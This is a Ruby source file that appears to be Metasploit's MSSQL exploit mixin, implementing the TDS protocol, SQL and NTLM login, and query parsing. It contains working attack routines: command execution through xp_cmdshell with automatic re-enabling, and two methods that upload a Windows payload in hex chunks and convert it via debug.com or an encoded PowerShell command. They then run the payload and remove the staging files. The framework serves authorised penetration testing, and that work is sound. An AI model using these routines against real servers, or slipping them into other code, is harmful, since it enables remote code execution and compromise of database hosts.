# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/exceptions'


module Msf

###
#
# This module exposes methods for querying a remote MSSQL service
#
###
module Exploit::Remote::MSSQL

	include Exploit::Remote::MSSQL_COMMANDS
	include Exploit::Remote::Udp
	include Exploit::Remote::Tcp
	include Exploit::Remote::NTLM::Client

	#
	# Constants
	#
	NTLM_CRYPT = Rex::Proto::NTLM::Crypt
	NTLM_CONST = Rex::Proto::NTLM::Constants
	NTLM_UTILS = Rex::Proto::NTLM::Utils
	NTLM_XCEPT = Rex::Proto::NTLM::Exceptions

	# Encryption
	ENCRYPT_OFF     = 0x00 #Encryption is available but off.
	ENCRYPT_ON      = 0x01 #Encryption is available and on.
	ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
	ENCRYPT_REQ     = 0x03 #Encryption is required.

	# Paquet Type
	TYPE_SQL_BATCH 		= 1 # (Client) SQL command
	TYPE_PRE_TDS7_LOGIN	= 2 # (Client) Pre-login with version < 7 (unused)
	TYPE_RPC		= 3 # (Client) RPC
	TYPE_TABLE_RESPONSE	= 4 # (Server)  Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
						# Request Completion, Error and Info Messages, Attention Acknowledgement
	TYPE_ATTENTION_SIGNAL	= 6 # (Client) Attention
	TYPE_BULK_LOAD		= 7 # (Client) SQL Command with binary data
	TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
	TYPE_TDS7_LOGIN 	= 16 # (Client) Login
	TYPE_SSPI_MESSAGE 	= 17 # (Client) Login
	TYPE_PRE_LOGIN_MESSAGE 	= 18 # (Client) pre-login with version > 7

	# Status
	STATUS_NORMAL 		= 0x00
	STATUS_END_OF_MESSAGE 	= 0x01
	STATUS_IGNORE_EVENT	= 0x02
	STATUS_RESETCONNECTION 	= 0x08 # TDS 7.1+
	STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+


	#
	# Creates an instance of a MSSQL exploit module.
	#
	def initialize(info = {})
		super

		# Register the options that all MSSQL exploits may make use of.
		register_options(
			[
				Opt::RHOST,
				Opt::RPORT(1433),
				OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
				OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),

				OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentification (requires DOMAIN option set)', false]),
			], Msf::Exploit::Remote::MSSQL)
		register_advanced_options(
			[
				OptPath.new('HEX2BINARY',   [ false, "The path to the hex2binary script on the disk",
					File.join(Msf::Config.install_root, "data", "exploits", "mssql", "h2b")
				]),
				OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'])
			], Msf::Exploit::Remote::MSSQL)
		register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ])
		register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
	end


	#
	# This method sends a UDP query packet to the server and
	# parses out the reply packet into a hash
	#
	def mssql_ping(timeout=5)
		data = { }

		ping_sock = Rex::Socket::Udp.create(
			'PeerHost'  => rhost,
			'PeerPort'  => 1434,
			'Context'   =>
				{
					'Msf'        => framework,
					'MsfExploit' => self,
				})


		ping_sock.put("\x02")
		resp, saddr, sport = ping_sock.recvfrom(65535, timeout)
		ping_sock.close

		return data if not resp
		return data if resp.length == 0

		var = nil

		return mssql_ping_parse(resp)
	end

	#
	# Parse a 'ping' response and format as a hash
	#
	def mssql_ping_parse(data)
		res = []
		var = nil
		idx = data.index('ServerName')
		return res if not idx
		sdata = data[idx, (data.length - 1)]

		instances = sdata.split(';;')
		instances.each do |instance|
			rinst = {}
			instance.split(';').each do |d|
				if (not var)
					var = d
				else
					if (var.length > 0)
						rinst[var] = d
						var = nil
					end
				end
			end
			res << rinst
		end

		return res
	end

	#
	# Execute a system command via xp_cmdshell
	#
	def mssql_xpcmdshell(cmd,doprint=false,opts={})
		force_enable = false
		begin
			res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
			if(res[:errors] and not res[:errors].empty?)
				if(res[:errors].join =~ /xp_cmdshell/)
					if(force_enable)
						print_error("The xp_cmdshell procedure is not available and could not be enabled")
						raise  RuntimeError, "Failed to execute command"
					else
						print_status("The server may have xp_cmdshell disabled, trying to enable it...")
						mssql_query(mssql_xpcmdshell_enable())
						raise RuntimeError, "xp_cmdshell disabled"
					end
				end
			end

			mssql_print_reply(res) if doprint

			return res

		rescue RuntimeError => e
			if(e.to_s =~ /xp_cmdshell disabled/)
				force_enable = true
				retry
			end
			raise e
		end
	end

	#
	# Upload and execute a Windows binary through MSSQL queries
	#
	def mssql_upload_exec(exe, debug=false)
		hex = exe.unpack("H*")[0]

		var_bypass  = rand_text_alpha(8)
		var_payload = rand_text_alpha(8)

		print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
		print_status("Writing the debug.com loader to the disk...")
		h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
		h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
		h2b.split(/\n/).each do |line|
			mssql_xpcmdshell("#{line}", false)
		end

		print_status("Converting the debug script to an executable...")
		mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
		mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)

		print_status("Uploading the payload, please be patient...")
		idx = 0
		cnt = 500
		while(idx < hex.length - 1)
			mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
			idx += cnt
		end

		print_status("Converting the encoded payload...")
		mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
		mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
		mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)

		print_status("Executing the payload...")
		mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
	end


	#
	# Upload and execute a Windows binary through MSSQL queries and Powershell
	#
	def powershell_upload_exec(exe, debug=false)

		# hex converter
		hex = exe.unpack("H*")[0]
		# create random alpha 8 character names
		#var_bypass  = rand_text_alpha(8)
		var_payload = rand_text_alpha(8)
		print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
		# our payload converter, grabs a hex file and converts it to binary for us through powershell
		h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
		h2b_unicode=Rex::Text.to_unicode(h2b)
		# base64 encode it, this allows us to perform execution through powershell without registry changes
		h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
		print_status("Uploading the payload #{var_payload}, please be patient...")
		idx = 0
		cnt = 500
		while(idx < hex.length - 1)
			mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false)
			idx += cnt
		end
		print_status("Converting the payload utilizing PowerShell EncodedCommand...")
		mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
		mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
		print_status("Executing the payload...")
		mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
		print_status("Be sure to cleanup #{var_payload}.exe...")
	end

	#
	# Send and receive using TDS
	#
	def mssql_send_recv(req, timeout=15, check_status = true)
		sock.put(req)

		# Read the 8 byte header to get the length and status
		# Read the length to get the data
		# If the status is 0, read another header and more data

		done = false
		resp = ""

		while(not done)
			head = sock.get_once(8, timeout)
			if !(head and head.length == 8)
				return false
			end

			# Is this the last buffer?
			if(head[1,1] == "\x01" or not check_status )
				done = true
			end

			# Grab this block's length
			rlen = head[2,2].unpack('n')[0] - 8

			while(rlen > 0)
				buff = sock.get_once(rlen, timeout)
				return if not buff
				resp << buff
				rlen -= buff.length
			end
		end

		resp
	end

	#
	# Encrypt a password according to the TDS protocol (encode)
	#
	def mssql_tds_encrypt(pass)
		# Convert to unicode, swap 4 bits both ways, xor with 0xa5
		Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
	end

	#
	#this method send a prelogin packet and check if encryption is off
	#
	def mssql_prelogin(enc_error=false)

		pkt = ""
		pkt_hdr = ""
		pkt_data_token = ""
		pkt_data = ""


			pkt_hdr =	[
					TYPE_PRE_LOGIN_MESSAGE, #type
					STATUS_END_OF_MESSAGE, #status
					0x0000, #length
					0x0000, # SPID
					0x00, # PacketID
					0x00 #Window
					]

			version = [0x55010008,0x0000].pack("Vv")
			encryption = ENCRYPT_NOT_SUP # off
			instoptdata = "MSSQLServer\0"

			threadid =   "\0\0" + Rex::Text.rand_text(2)

			idx = 21 # size of pkt_data_token
			pkt_data_token <<	[
						0x00, 		# Token 0 type Version
						idx , 	# VersionOffset
						version.length, # VersionLength

						0x01, 			    	# Token 1 type Encryption
						idx = idx + version.length, 	# EncryptionOffset
						0x01, 			    	# EncryptionLength

						0x02, 				# Token 2 type InstOpt
						idx = idx + 1,  		# InstOptOffset
						instoptdata.length, 		# InstOptLength

						0x03, 				# Token 3 type Threadid
						idx + instoptdata.length, 	# ThreadIdOffset
						0x04,				# ThreadIdLength

						0xFF
						].pack("CnnCnnCnnCnnC")

			pkt_data  	<<	pkt_data_token
			pkt_data  	<<	version
			pkt_data  	<<	encryption
			pkt_data  	<<	instoptdata
			pkt_data  	<<	threadid

			pkt_hdr[2]	= 	pkt_data.length + 8

			pkt 		= 	 pkt_hdr.pack("CCnnCC") + pkt_data

			resp = mssql_send_recv(pkt)

			idx = 0

			while resp and resp[0,1] != "\xff" and resp.length > 5
				token = resp.slice!(0,5)
				token = token.unpack("Cnn")
				idx -= 5
				if token[0] == 0x01

					idx += token[1]
					break
				end
			end
			if idx > 0
				encryption_mode = resp[idx,1].unpack("C")[0]
			else
				#force to ENCRYPT_NOT_SUP and hope for the best
				encryption_mode = ENCRYPT_NOT_SUP
			end

			if encryption_mode != ENCRYPT_NOT_SUP and enc_error
				raise RuntimeError,"Encryption is not supported"
			end
			encryption_mode
	end

	#
	# This method connects to the server over TCP and attempts
	# to authenticate with the supplied username and password
	# The global socket is used and left connected after auth
	#
	def mssql_login(user='sa', pass='', db='')

		disconnect if self.sock
		connect

		# Send a prelogin packet and check that encryption is not enabled
		if mssql_prelogin() != ENCRYPT_NOT_SUP
			print_error("Encryption is not supported")
			return false
		end

		if datastore['USE_WINDOWS_AUTHENT']

			idx = 0
			pkt = ''
			pkt_hdr = ''
			pkt_hdr =	[
					TYPE_TDS7_LOGIN, #type
					STATUS_END_OF_MESSAGE, #status
					0x0000, #length
					0x0000, # SPID
					0x01, 	# PacketID (unused upon specification
						# but ms network monitor stil prefer 1 to decode correctly, wireshark don't care)
					0x00 	#Window
					]

			pkt << [
				0x00000000,   # Size
				0x71000001,   # TDS Version
				0x00000000,   # Dummy Size
				0x00000007,   # Version
				rand(1024+1), # PID
				0x00000000,   # ConnectionID
				0xe0,         # Option Flags 1
				0x83,         # Option Flags 2
				0x00,         # SQL Type Flags
				0x00,         # Reserved Flags
				0x00000000,   # Time Zone
				0x00000000    # Collation
			].pack('VVVVVVCCCCVV')

			cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
			aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
			sname = Rex::Text.to_unicode( rhost )
			dname = Rex::Text.to_unicode( db )

			ntlm_options = {
					:signing 		=> false,
					:usentlm2_session 	=> datastore['NTLM::UseNTLM2_session'],
					:use_ntlmv2 		=> datastore['NTLM::UseNTLMv2'],
					:send_lm 		=> datastore['NTLM::SendLM'],
					:send_ntlm		=> datastore['NTLM::SendNTLM']
					}

			ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options)
			workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
			domain_name = datastore['DOMAIN']

			ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags)

			idx = pkt.size + 50 # lengths below

			pkt << [idx, cname.length / 2].pack('vv')
			idx += cname.length

			pkt << [0, 0].pack('vv') # User length offset must be 0
			pkt << [0, 0].pack('vv') # Password length offset must be 0

			pkt << [idx, aname.length / 2].pack('vv')
			idx += aname.length

			pkt << [idx, sname.length / 2].pack('vv')
			idx += sname.length

			pkt << [0, 0].pack('vv') # unused

			pkt << [idx, aname.length / 2].pack('vv')
			idx += aname.length

			pkt << [idx, 0].pack('vv') # locales

			pkt << [idx, 0].pack('vv') #db

			# ClientID (should be mac address)
			pkt << Rex::Text.rand_text(6)

			# NTLMSSP
			pkt << [idx, ntlmsspblob.length].pack('vv')
			idx += ntlmsspblob.length

			pkt << [idx, 0].pack('vv') # AtchDBFile

			pkt << cname
			pkt << aname
			pkt << sname
			pkt << aname
			pkt << ntlmsspblob

			# Total packet length
			pkt[0,4] = [pkt.length].pack('V')

			pkt_hdr[2]	= 	pkt.length + 8

			pkt = pkt_hdr.pack("CCnnCC") + pkt

			# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
			# has a strange behavior that differs from the specifications
			# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
			# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
			resp = mssql_send_recv(pkt,15, false)

			# Get default data
			begin
				blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp)
			# a domain.length < 3 will hit this
			rescue NTLM_XCEPT::NTLMMissingChallenge
				info = {:errors => []}
				mssql_parse_reply(resp, info)
				mssql_print_reply(info)
				return false
			end
			challenge_key = blob_data[:challenge_key]
			server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
			#netbios name
			default_name =  blob_data[:default_name] || ''
			#netbios domain
			default_domain = blob_data[:default_domain] || ''
			#dns name
			dns_host_name =  blob_data[:dns_host_name] || ''
			#dns domain
			dns_domain_name =  blob_data[:dns_domain_name] || ''
			#Client time
			chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''

			spnopt = {:use_spn => datastore['NTLM::SendSPN'], :name =>  self.rhost}

			resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key,
												domain_name, default_name, default_domain,
												dns_host_name, dns_domain_name, chall_MsvAvTimestamp,
												spnopt, ntlm_options)

			ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags)

			# Create an SSPIMessage
			idx = 0
			pkt = ''
			pkt_hdr = ''
			pkt_hdr =	[
					TYPE_SSPI_MESSAGE, #type
					STATUS_END_OF_MESSAGE, #status
					0x0000, #length
					0x0000, # SPID
					0x01, # PacketID
					0x00 #Window
					]

			pkt_hdr[2]	= 	ntlmssp.length + 8

			pkt = pkt_hdr.pack("CCnnCC") + ntlmssp

			resp = mssql_send_recv(pkt)


		#SQL Server Authentification
		else
			idx = 0
			pkt = ''
			pkt << [
				0x00000000,   # Dummy size

				0x71000001,   # TDS Version
				0x00000000,   # Size
				0x00000007,   # Version
				rand(1024+1), # PID
				0x00000000,   # ConnectionID
				0xe0,         # Option Flags 1
				0x03,         # Option Flags 2
				0x00,         # SQL Type Flags
				0x00,         # Reserved Flags
				0x00000000,   # Time Zone
				0x00000000    # Collation
			].pack('VVVVVVCCCCVV')


			cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
			uname = Rex::Text.to_unicode( user )
			pname = mssql_tds_encrypt( pass )
			aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
			sname = Rex::Text.to_unicode( rhost )
			dname = Rex::Text.to_unicode( db )

			idx = pkt.size + 50 # lengths below

			pkt << [idx, cname.length / 2].pack('vv')
			idx += cname.length

			pkt << [idx, uname.length / 2].pack('vv')
			idx += uname.length

			pkt << [idx, pname.length / 2].pack('vv')
			idx += pname.length

			pkt << [idx, aname.length / 2].pack('vv')
			idx += aname.length

			pkt << [idx, sname.length / 2].pack('vv')
			idx += sname.length

			pkt << [0, 0].pack('vv')

			pkt << [idx, aname.length / 2].pack('vv')
			idx += aname.length

			pkt << [idx, 0].pack('vv')

			pkt << [idx, dname.length / 2].pack('vv')
			idx += dname.length

			# The total length has to be embedded twice more here
			pkt << [
				0,
				0,
				0x12345678,
				0x12345678
			].pack('vVVV')

			pkt << cname
			pkt << uname
			pkt << pname
			pkt << aname
			pkt << sname
			pkt << aname
			pkt << dname

			# Total packet length
			pkt[0,4] = [pkt.length].pack('V')

			# Embedded packet lengths
			pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2

			# Packet header and total length including header
			pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt

			resp = mssql_send_recv(pkt)

		end

		info = {:errors => []}
		info = mssql_parse_reply(resp,info)

		return false if not info
		info[:login_ack] ? true : false
	end

	#
	# Login to the SQL server using the standard USERNAME/PASSWORD options
	#
	def mssql_login_datastore(db='')
		mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
	end

	#
	# Issue a SQL query using the TDS protocol
	#
	def mssql_query(sqla, doprint=false, opts={})
		info = { :sql => sqla }

		opts[:timeout] ||= 15

		pkts = []
		idx  = 0

		bsize = 4096 - 8
		chan  = 0

		@cnt ||= 0
		@cnt += 1

		sql = Rex::Text.to_unicode(sqla)
		while(idx < sql.length)
			buf = sql[idx, bsize]
			flg = buf.length < bsize ? "\x01" : "\x00"
			pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
			idx += bsize

		end

		resp = mssql_send_recv(pkts.join, opts[:timeout])
		mssql_parse_reply(resp, info)
		mssql_print_reply(info) if doprint
		info
	end


	#
	# Nicely print the results of a SQL query
	#
	def mssql_print_reply(info)

		print_status("SQL Query: #{info[:sql]}")

		if(info[:done] and info[:done][:rows].to_i > 0)
			print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
		end

		if(info[:errors] and not info[:errors].empty?)
			info[:errors].each do |err|
				print_error(err)
			end
		end

		if(info[:rows] and not info[:rows].empty?)

			tbl = Rex::Ui::Text::Table.new(
				'Indent'  => 1,
				'Header'  => "",
				'Columns' => info[:colnames]
			)

			info[:rows].each do |row|
				tbl << row
			end

			print_line(tbl.to_s)
		end
	end


	#
	# Parse a raw TDS reply from the server
	#
	def mssql_parse_tds_reply(data, info)
		info[:errors] ||= []
		info[:colinfos] ||= []
		info[:colnames] ||= []

		# Parse out the columns
		cols = data.slice!(0,2).unpack('v')[0]
		0.upto(cols-1) do |col_idx|
			col = {}
			info[:colinfos][col_idx] = col

			col[:utype] = data.slice!(0,2).unpack('v')[0]
			col[:flags] = data.slice!(0,2).unpack('v')[0]
			col[:type]  = data.slice!(0,1).unpack('C')[0]

			case col[:type]
			when 48
				col[:id] = :tinyint

			when 52
				col[:id] = :smallint

			when 56
				col[:id] = :rawint

			when 61
				col[:id] = :datetime

			when 34
				col[:id]            = :image
				col[:max_size]      = data.slice!(0,4).unpack('V')[0]
				col[:value_length]  = data.slice!(0,2).unpack('v')[0]
				col[:value]         = data.slice!(0, col[:value_length]  * 2).gsub("\x00", '')

			when 36
				col[:id] = :string

			when 38
				col[:id] = :int
				col[:int_size] = data.slice!(0,1).unpack('C')[0]

			when 127
				col[:id] = :bigint

			when 165
				col[:id] = :hex
				col[:max_size] = data.slice!(0,2).unpack('v')[0]

			when 173
				col[:id] = :hex # binary(2)
				col[:max_size] = data.slice!(0,2).unpack('v')[0]

			when 231,175,167,239
				col[:id] = :string
				col[:max_size] = data.slice!(0,2).unpack('v')[0]
				col[:codepage] = data.slice!(0,2).unpack('v')[0]
				col[:cflags] = data.slice!(0,2).unpack('v')[0]
				col[:charset_id] =  data.slice!(0,1).unpack('C')[0]

			else
				col[:id] = :unknown
			end

			col[:msg_len] = data.slice!(0,1).unpack('C')[0]

			if(col[:msg_len] and col[:msg_len] > 0)
				col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
			end
			info[:colnames] << (col[:name] || 'NULL')
		end
	end

	#
	# Parse individual tokens from a TDS reply
	#
	def mssql_parse_reply(data, info)
		info[:errors] = []
		return if not data
		until data.empty?
			token = data.slice!(0,1).unpack('C')[0]
			case token
			when 0x81
				mssql_parse_tds_reply(data, info)
			when 0xd1
				mssql_parse_tds_row(data, info)
			when 0xe3
				mssql_parse_env(data, info)
			when 0x79
				mssql_parse_ret(data, info)
			when 0xfd, 0xfe, 0xff
				mssql_parse_done(data, info)
			when 0xad
				mssql_parse_login_ack(data, info)
			when 0xab
				mssql_parse_info(data, info)
			when 0xaa
				mssql_parse_error(data, info)
			when nil
				break
			else
				info[:errors] << "unsupported token: #{token}"
			end
		end
		info
	end

	#
	# Parse a single row of a TDS reply
	#
	def mssql_parse_tds_row(data, info)
		info[:rows] ||= []
		row = []

		info[:colinfos].each do |col|

			if(data.length == 0)
				row << "<EMPTY>"
				next
			end

			case col[:id]
			when :hex
				str = ""
				len = data.slice!(0,2).unpack('v')[0]
				if(len > 0 and len < 65535)
					str << data.slice!(0,len)
				end
				row << str.unpack("H*")[0]

			when :string
				str = ""
				len = data.slice!(0,2).unpack('v')[0]
				if(len > 0 and len < 65535)
					str << data.slice!(0,len)
				end
				row << str.gsub("\x00", '')

			when :datetime
				row << data.slice!(0,8).unpack("H*")[0]

			when :rawint
				row << data.slice!(0,4).unpack('V')[0]

			when :bigint
				row << data.slice!(0,8).unpack("H*")[0]

			when :smallint
				row << data.slice!(0, 2).unpack("v")[0]

			when :smallint3
				row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]

			when :tinyint
				row << data.slice!(0, 1).unpack("C")[0]

			when :image
				str = ''
				len = data.slice!(0,1).unpack('C')[0]
				str = data.slice!(0,len) if (len and len > 0)
				row << str.unpack("H*")[0]

			when :int
				len = data.slice!(0, 1).unpack("C")[0]
				raw = data.slice!(0, len) if (len and len > 0)

				case len
				when 0,255
					row << ''
				when 1
					row << raw.unpack("C")[0]
				when 2
					row << raw.unpack('v')[0]
				when 4
					row << raw.unpack('V')[0]
				when 5
					row << raw.unpack('V')[0] # XXX: missing high byte
				when 8
					row << raw.unpack('VV')[0] # XXX: missing high dword
				else
					info[:errors] << "invalid integer size: #{len} #{data[0,16].unpack("H*")[0]}"
				end
			else
				info[:errors] << "unknown column type: #{col.inspect}"
			end
		end

		info[:rows] << row
		info
	end

	#
	# Parse a "ret" TDS token
	#
	def mssql_parse_ret(data, info)
		ret = data.slice!(0,4).unpack('N')[0]
		info[:ret] = ret
		info
	end

	#
	# Parse a "done" TDS token
	#
	def mssql_parse_done(data, info)
		status,cmd,rows = data.slice!(0,8).unpack('vvV')
		info[:done] = { :status => status, :cmd => cmd, :rows => rows }
		info
	end

	#
	# Parse an "error" TDS token
	#
	def mssql_parse_error(data, info)
		len  = data.slice!(0,2).unpack('v')[0]
		buff = data.slice!(0,len)

		errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
		emsg = buff.slice!(0,elen * 2)
		emsg.gsub!("\x00", '')

		info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
		info
	end

	#
	# Parse an "environment change" TDS token
	#
	def mssql_parse_env(data, info)
		len  = data.slice!(0,2).unpack('v')[0]
		buff = data.slice!(0,len)
		type = buff.slice!(0,1).unpack('C')[0]

		nval = ''
		nlen = buff.slice!(0,1).unpack('C')[0] || 0
		nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0

		oval = ''
		olen = buff.slice!(0,1).unpack('C')[0] || 0
		oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0

		info[:envs] ||= []
		info[:envs] << { :type => type, :old => oval, :new => nval }
		info
	end

	#
	# Parse an "information" TDS token
	#
	def mssql_parse_info(data, info)
		len  = data.slice!(0,2).unpack('v')[0]
		buff = data.slice!(0,len)

		errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
		emsg = buff.slice!(0,elen * 2)
		emsg.gsub!("\x00", '')

		info[:infos]||= []
		info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
		info
	end

	#
	# Parse a "login ack" TDS token
	#
	def mssql_parse_login_ack(data, info)
		len  = data.slice!(0,2).unpack('v')[0]
		buff = data.slice!(0,len)
		info[:login_ack] = true
	end
end
end
